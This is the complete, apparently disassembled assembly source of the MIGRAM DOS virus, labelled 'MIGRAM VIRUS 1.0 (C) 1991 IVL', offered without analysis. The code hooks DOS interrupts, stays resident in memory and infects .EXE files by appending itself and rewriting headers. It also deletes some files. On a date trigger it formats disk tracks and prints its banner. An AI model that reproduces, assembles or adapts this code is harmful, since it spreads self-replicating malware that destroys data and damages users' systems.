PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ MIGRAM ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 2-Jan-80 ÛÛ ;ÛÛ Version: ÛÛ ;ÛÛ Passes: 5 Analysis Options on: H ÛÛ ;ÛÛ (C) 1991 IVL ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 4Ch ; (0000:004C=0D0h) data_3e equ 84h ; (0000:0084=0C7h) data_5e equ 90h ; (0000:0090=0BFh) data_7e equ 102h ; (0000:0102=0F000h) data_8e equ 106h ; (0000:0106=0F000h) data_9e equ 47Bh ; (0000:047B=14h) data_10e equ 0 ; (0676:0000=0E8h) data_11e equ 1 ; (0677:0001=3EC4h) data_12e equ 2 ; (06C7:0002=0B8C3h) data_13e equ 6 ; (06C7:0006=0F0EBh) data_35e equ 0FCB6h ; (7382:FCB6=0) data_36e equ 0FCB8h ; (7382:FCB8=0) data_37e equ 0FCD4h ; (7382:FCD4=0) data_38e equ 0FCD6h ; (7382:FCD6=0) data_39e equ 0FCD8h ; (7382:FCD8=0) data_40e equ 0FCE2h ; (7382:FCE2=0) data_41e equ 0FCE4h ; (7382:FCE4=0) data_42e equ 0FCEAh ; (7382:FCEA=0) data_43e equ 0FCECh ; (7382:FCEC=0) data_44e equ 0 ; (F000:0000=0AA55h) data_45e equ 2 ; (F000:0002=40h) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h migram proc far start: jmp loc_22 ; (0449) db 0C3h db 23 dup (0C3h) db 2Ah, 2Eh, 5Ah, 49h, 50h, 0 data_17 dw 0C3C3h data_18 dw 0C3C3h data_19 db 0, 0 data_20 dw 0 data_21 dw 0 data_22 dw 0 data_23 dw 7382h data_24 dd 00000h data_25 dw 0 data_26 dw 7382h data_27 dd 00000h data_28 dw 0 data_29 dw 7382h data_30 db 0Ah, 0Dh, ' ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ' db '»', 0Ah, 0Dh, ' º MIGRAM VIRUS ' db '1.0 º', 0Ah, 0Dh, ' º (C) 19' db '91 IVL º', 0Ah, 0Dh, ' ÈÍÍÍÍÍ' db 'ÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ', 0Ah, 0Dh, 0Ah db 0Dh, '$' db 3Dh, 4Dh, 4Bh, 75h, 9, 55h db 8Bh, 0ECh, 83h, 66h, 6, 0FEh db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h db 12h, 3Dh, 0, 3Dh, 74h, 0Dh db 3Dh, 0, 6Ch, 75h, 5, 80h db 0FBh, 0, 74h, 3 loc_1: jmp loc_13 ; (0277) loc_2: push es push ds push di push si push bp push dx push cx push bx push ax call sub_6 ; (03CF) call sub_7 ; (040C) cmp ax,6C00h jne loc_3 ; Jump if not equal mov dx,si loc_3: mov cx,80h mov si,dx locloop_4: inc si mov al,[si] or al,al ; Zero ? loopnz locloop_4 ; Loop if zf=0, cx>0 sub si,2 cmp word ptr [si],5049h je loc_7 ; Jump if equal cmp word ptr [si],4558h je loc_6 ; Jump if equal loc_5: jmp short loc_12 ; (026B) db 90h loc_6: cmp word ptr [si-2],452Eh je loc_8 ; Jump if equal jmp short loc_5 ; (01FE) loc_7: cmp word ptr [si-2],5A2Eh jne loc_5 ; Jump if not equal loc_8: mov ax,3D02h call sub_5 ; (03C8) jc loc_12 ; Jump if carry Set mov bx,ax mov ax,5700h call sub_5 ; (03C8) mov cs:data_20,cx ; (7382:0127=0) mov cs:data_21,dx ; (7382:0129=0) mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03C8) push cs pop ds mov dx,103h mov si,dx mov cx,18h mov ah,3Fh ; '?' call sub_5 ; (03C8) jc loc_10 ; Jump if carry Set cmp word ptr [si],5A4Dh jne loc_9 ; Jump if not equal call sub_1 ; (027C) jmp short loc_10 ; (0254) loc_9: call sub_4 ; (03AA) loc_10: jc loc_11 ; Jump if carry Set mov ax,5701h mov cx,cs:data_20 ; (7382:0127=0) mov dx,cs:data_21 ; (7382:0129=0) call sub_5 ; (03C8) loc_11: mov ah,3Eh ; '>' call sub_5 ; (03C8) loc_12: call sub_7 ; (040C) pop ax pop bx pop cx pop dx pop bp pop si pop di pop ds pop es loc_13: jmp cs:data_24 ; (7382:012F=0) migram endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp al,6 je loc_15 ; Jump if equal jnz loc_14 ; Jump if not zero loc_14: mov cx,[si+16h] add cx,[si+8] mov ax,10h mul cx ; dx:ax = reg * ax add ax,[si+14h] adc dx,0 push dx push ax mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03C8) cmp dx,0 jne loc_16 ; Jump if not equal cmp ax,4C3h jae loc_16 ; Jump if above or = pop ax pop dx stc ; Set carry flag retn loc_15: mov ah,5 mov ch,0 mov cl,0 mov dh,0 mov dl,2 int 13h ; Disk dl=drive #: ah=func c5h ; format track=ch or cylindr=cx mov ah,5 mov ch,0 mov cl,1 mov dh,0 mov dl,2 int 13h ; Disk dl=drive #: ah=func c5h ; format track=ch or cylindr=cx mov ah,5 mov ch,0 mov cl,2 mov dh,0 mov dl,2 int 13h ; Disk dl=drive #: ah=func c5h ; format track=ch or cylindr=cx mov ah,5 mov ch,0 mov cl,3 mov dh,0 mov dl,2 int 13h ; Disk dl=drive #: ah=func c5h ; format track=ch or cylindr=cx mov ah,5 mov ch,0 mov cl,4 mov dh,0 mov dl,2 int 13h ; Disk dl=drive #: ah=func c5h ; format track=ch or cylindr=cx mov ah,5 mov ch,0 mov cl,5 mov dh,0 mov dl,2 int 13h ; Disk dl=drive #: ah=func c5h ; format track=ch or cylindr=cx mov dx,offset data_30 ; (7382:013F=0Ah) mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx call sub_9 ; (043A) int 20h ; Program Terminate loc_16: mov di,ax mov bp,dx pop cx sub ax,cx pop cx sbb dx,cx cmp word ptr [si+0Ch],0 je loc_ret_19 ; Jump if equal cmp dx,0 jne loc_17 ; Jump if not equal cmp ax,4C3h jne loc_17 ; Jump if not equal stc ; Set carry flag retn loc_17: mov dx,bp mov ax,di push dx push ax add ax,4C3h adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg les di,dword ptr [si+2] ; Load 32 bit ptr mov cs:data_22,di ; (7382:012B=0) mov cs:data_23,es ; (7382:012D=7382h) mov [si+2],dx cmp dx,0 je loc_18 ; Jump if equal inc ax loc_18: mov [si+4],ax pop ax pop dx call sub_2 ; (038B) sub ax,[si+8] les di,dword ptr [si+14h] ; Load 32 bit ptr mov data_17,di ; (7382:0121=0C3C3h) mov data_18,es ; (7382:0123=0C3C3h) mov [si+14h],dx mov [si+16h],ax mov word ptr data_19,ax ; (7382:0125=0) mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03C8) call sub_3 ; (039C) jc loc_ret_19 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 ; (03C8) mov ah,40h ; '@' mov dx,si mov cx,18h call sub_5 ; (03C8) loc_ret_19: retn sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near mov cx,4 mov di,ax and di,0Fh locloop_20: shr dx,1 ; Shift w/zeros fill rcr ax,1 ; Rotate thru carry loop locloop_20 ; Loop if cx > 0 mov dx,di retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near mov ah,40h ; '@' mov cx,4C3h mov dx,100h call sub_6 ; (03CF) jmp short loc_21 ; (03C8) db 90h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_4: mov dx,10h mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,11Bh mov cx,110Bh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx mov dx,2Eh mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov ah,41h ; 'A' int 21h ; DOS Services ah=function 41h ; delete file, name @ ds:dx retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near loc_21: pushf ; Push flags call cs:data_24 ; (7382:012F=0) retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr mov cs:data_25,ax ; (7382:0133=0) mov cs:data_26,es ; (7382:0135=7382h) mov ax,431h mov ds:data_5e,ax ; (0000:0090=5BFh) mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h) les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr mov cs:data_28,ax ; (7382:013B=0) mov cs:data_29,es ; (7382:013D=7382h) les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=20D0h) mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch) sti ; Enable interrupts pop es pop ds pop ax retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr mov ds:data_5e,ax ; (0000:0090=5BFh) mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h) les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=20D0h) mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch) sti ; Enable interrupts pop es pop ds pop ax retn sub_7 endp db 0B0h, 3, 0CFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov dx,10h mul dx ; dx:ax = reg * ax retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near xor ax,ax ; Zero register xor bx,bx ; Zero register xor cx,cx ; Zero register xor dx,dx ; Zero register xor si,si ; Zero register xor di,di ; Zero register xor bp,bp ; Zero register retn sub_9 endp loc_22: push ds call sub_10 ; (044D) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near mov ax,4B4Dh int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx jc loc_23 ; Jump if carry Set jmp loc_33 ; (057D) loc_23: pop si push si mov di,si xor ax,ax ; Zero register push ax pop ds les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr mov cs:data_42e[si],ax ; (7382:FCEA=0) mov cs:data_43e[si],es ; (7382:FCEC=0) les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr mov cs:data_40e[di],bx ; (7382:FCE2=0) mov cs:data_41e[di],es ; (7382:FCE4=0) mov ax,ds:data_7e ; (0000:0102=0F000h) cmp ax,0F000h jne loc_31 ; Jump if not equal mov dl,80h mov ax,ds:data_8e ; (0000:0106=0F000h) cmp ax,0F000h je loc_24 ; Jump if equal cmp ah,0C8h jb loc_31 ; Jump if below cmp ah,0F4h jae loc_31 ; Jump if above or = test al,7Fh jnz loc_31 ; Jump if not zero mov ds,ax cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h) jne loc_31 ; Jump if not equal mov dl,ds:data_45e ; (F000:0002=40h) loc_24: mov ds,ax xor dh,dh ; Zero register mov cl,9 shl dx,cl ; Shift w/zeros fill mov cx,dx xor si,si ; Zero register locloop_25: lodsw ; String [si] to ax cmp ax,0FA80h jne loc_26 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7380h je loc_27 ; Jump if equal jnz loc_28 ; Jump if not zero loc_26: cmp ax,0C2F6h jne loc_29 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7580h jne loc_28 ; Jump if not equal loc_27: inc si lodsw ; String [si] to ax cmp ax,40CDh je loc_30 ; Jump if equal sub si,3 loc_28: dec si dec si loc_29: dec si loop locloop_25 ; Loop if cx > 0 jmp short loc_31 ; (04EC) loc_30: sub si,7 mov cs:data_42e[di],si ; (7382:FCEA=0) mov cs:data_43e[di],ds ; (7382:FCEC=0) loc_31: mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx mov es,bx mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov bx,0FFFFh mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 sub bx,4Eh nop jc loc_33 ; Jump if carry Set mov cx,es stc ; Set carry flag adc cx,bx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov bx,4Dh stc ; Set carry flag sbb es:data_12e,bx ; (06C7:0002=0B8C3h) push es mov es,cx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov ax,es dec ax mov ds,ax mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h) call sub_8 ; (0434) mov bx,ax mov cx,dx pop ds mov ax,ds call sub_8 ; (0434) add ax,ds:data_13e ; (06C7:0006=0F0EBh) adc dx,0 sub ax,bx sbb dx,cx jc loc_32 ; Jump if carry Set sub ds:data_13e,ax ; (06C7:0006=0F0EBh) loc_32: mov si,di xor di,di ; Zero register push cs pop ds sub si,34Dh mov cx,4C3h inc cx rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx dec bx mov ds,bx mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z' mov dx,1A8h xor ax,ax ; Zero register push ax pop ds mov ax,es sub ax,10h mov es,ax cli ; Disable interrupts mov ds:data_3e,dx ; (0000:0084=6C7h) mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch) sti ; Enable interrupts dec byte ptr ds:data_9e ; (0000:047B=14h) loc_33: pop si cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0) jne loc_34 ; Jump if not equal pop ds mov ax,cs:data_39e[si] ; (7382:FCD8=0) mov bx,cs:data_38e[si] ; (7382:FCD6=0) push cs pop cx sub cx,ax add cx,bx push cx push word ptr cs:data_37e[si] ; (7382:FCD4=0) push ds pop es call sub_9 ; (043A) retf ; Return far loc_34: pop ax mov ax,cs:data_35e[si] ; (7382:FCB6=0) mov word ptr cs:[100h],ax ; (7382:0100=46E9h) mov ax,cs:data_36e[si] ; (7382:FCB8=0) mov word ptr cs:[102h],ax ; (7382:0102=0C303h) mov ax,100h push ax push cs pop ds push ds pop es call sub_9 ; (043A) retn sub_10 endp seg_a ends end start